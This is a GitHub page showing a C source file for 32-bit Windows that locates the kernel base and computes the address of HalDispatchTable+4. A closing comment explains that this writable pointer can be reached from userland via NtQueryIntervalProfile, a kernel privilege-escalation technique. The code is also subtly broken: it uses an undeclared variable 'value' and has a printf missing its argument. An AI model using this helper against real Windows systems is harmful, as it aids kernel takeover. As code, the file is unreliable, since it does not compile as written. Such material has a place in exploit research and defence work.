-
Notifications
You must be signed in to change notification settings - Fork 125
/
GetHalQuerySystemInformation.c
236 lines (194 loc) · 5.53 KB
/
GetHalQuerySystemInformation.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
#include <windows.h>
#include <stdio.h>
#if !defined(NT_SUCCESS)
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#if !defined(STATUS_SUCCESS)
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#endif
typedef enum _SYSTEM_INFORMATION_CLASS
{
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemPathInformation,
SystemProcessInformation,
SystemCallCountInformation,
SystemDeviceInformation,
SystemProcessorPerformanceInformation,
SystemFlagsInformation,
SystemCallTimeInformation,
SystemModuleInformation
} SYSTEM_INFORMATION_CLASS,
*PSYSTEM_INFORMATION_CLASS;
typedef struct
{
ULONG Reserved1;
ULONG Reserved2;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD w018;
WORD NameOffset;
BYTE Name[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;
#pragma warning(disable:4200)
typedef struct
{
ULONG ModulesCount;
SYSTEM_MODULE Modules[0];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
extern NTSTATUS WINAPI ZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
PSYSTEM_MODULE GetKernelInformation()
{
PSYSTEM_MODULE_INFORMATION pModuleList = NULL;
PSYSTEM_MODULE pKernInfo = NULL;
NTSTATUS status = STATUS_SUCCESS;
ULONG neededSize = 0;
ZwQuerySystemInformation(
SystemModuleInformation,
&neededSize,
0,
&neededSize
);
pModuleList = (PSYSTEM_MODULE_INFORMATION)malloc(neededSize);
if(pModuleList == NULL)
{
printf("Error with malloc().\n");
return NULL;
}
status = ZwQuerySystemInformation(SystemModuleInformation,
pModuleList,
neededSize,
0
);
if(!NT_SUCCESS(status))
{
printf("Error with ZwQuerySystemInformation().\n");
free(pModuleList);
return NULL;
}
pKernInfo = (PSYSTEM_MODULE)malloc(sizeof(SYSTEM_MODULE));
if(pKernInfo == NULL)
{
printf("Error with malloc().\n");
free(pModuleList);
return NULL;
}
memcpy(pKernInfo, pModuleList->Modules, sizeof(SYSTEM_MODULE));
free(pModuleList);
return pKernInfo;
}
DWORD GetKernelBase()
{
PSYSTEM_MODULE pKernInfo = NULL;
DWORD kernBase = 0;
pKernInfo = GetKernelInformation();
if(pKernInfo == NULL)
{
printf("Error with GetKernelInformation().\n");
return 0;
}
kernBase = (DWORD)pKernInfo->ImageBaseAddress;
free(pKernInfo);
return kernBase;
}
PCHAR GetKernelPath()
{
PSYSTEM_MODULE pKernInfo = NULL;
PCHAR kernPath = NULL;
DWORD size = 0;
pKernInfo = GetKernelInformation();
if(pKernInfo == NULL)
{
printf("Error with GetKernelInformation().\n");
return 0;
}
size = sizeof(char) * (strlen(pKernInfo->Name) + 1);
kernPath = (PCHAR)malloc(size);
if(kernPath == NULL)
{
free(pKernInfo);
printf("Error with malloc().\n");
return NULL;
}
ZeroMemory(kernPath, size);
memcpy(kernPath, pKernInfo->Name, size - sizeof(char));
free(pKernInfo);
return kernPath;
}
DWORD GetHalQuerySystemInformation()
{
HMODULE hKern = 0;
PCHAR pKernPath = NULL, pKern = NULL;
DWORD HalDispatchTable = 0, kernBase = 0;
kernBase = GetKernelBase();
printf("[+] Kernel Base Address: %#.8X\n", kernBase);
if(kernBase == 0)
{
printf("[!] Error with GetKernelBase().\n");
goto clean;
}
pKernPath = GetKernelPath();
if(pKernPath == NULL)
{
printf("[!] Error with GetKernelPath().\n");
goto clean;
}
printf("[+] Kernel Path: '%s'\n", pKernPath);
pKern = strrchr(pKernPath, '\\') + 1;
printf("[+] Kernel: '%s'\n", pKern);
hKern = LoadLibraryEx(pKern, NULL, DONT_RESOLVE_DLL_REFERENCES);
printf("[+] Kernel Base Address (in this process context): %#.8X\n", hKern);
HalDispatchTable = (DWORD)GetProcAddress(hKern, "HalDispatchTable");
printf("[+] HalDispatchTable Address: 0x%.8X\n", HalDispatchTable);
if(HalDispatchTable == 0)
{
printf("[!] Error with GetProcAddress().\n");
goto clean;
}
if(value != NULL)
*value = (*(PDWORD)(HalDispatchTable + sizeof(DWORD)) - (DWORD)hKern) + kernBase;
HalDispatchTable -= (DWORD)hKern;
HalDispatchTable += kernBase;
printf("[+] HalDispatchTable Address (after normalization): %#.8X\n");
clean:
if(pKernPath != NULL)
free(pKernPath);
if(hKern != NULL)
FreeLibrary(hKern);
return HalDispatchTable + sizeof(DWORD);
}
/*
HalDispatchTable trickz :
* Pointer nt!HalDispatchTable+4 is writeable (this symbol is obviously exported)
kd> dps nt!HalDispatchTable l 2
80544a38 00000003
80544a3c 806e4bba hal!HaliQuerySystemInformation
kd> !pte 80544a3c
VA 80544a3c
PDE at C0602010 PTE at C0402A20
contains 00000000004001E3 contains 0000000000000000
pfn 400 -GLDA--KWEV LARGE PAGE pfn 544
* How to call this pointer from userland ?
kd> uf nt!NtQueryIntervalProfile
nt!NtQueryIntervalProfile:
[...]
8060c88a e83de00200 call nt!KeQueryIntervalProfile (8063a8cc)
kd> uf nt!KeQueryIntervalProfile
[...]
8063a8fd ff153c4a5480 call dword ptr [nt!HalDispatchTable+0x4 (80544a3c)]
*/
int main()
{
printf("HalQuerySystemInformation: 0x%.8X", GetHalQuerySystemInformation());
return EXIT_SUCCESS;
}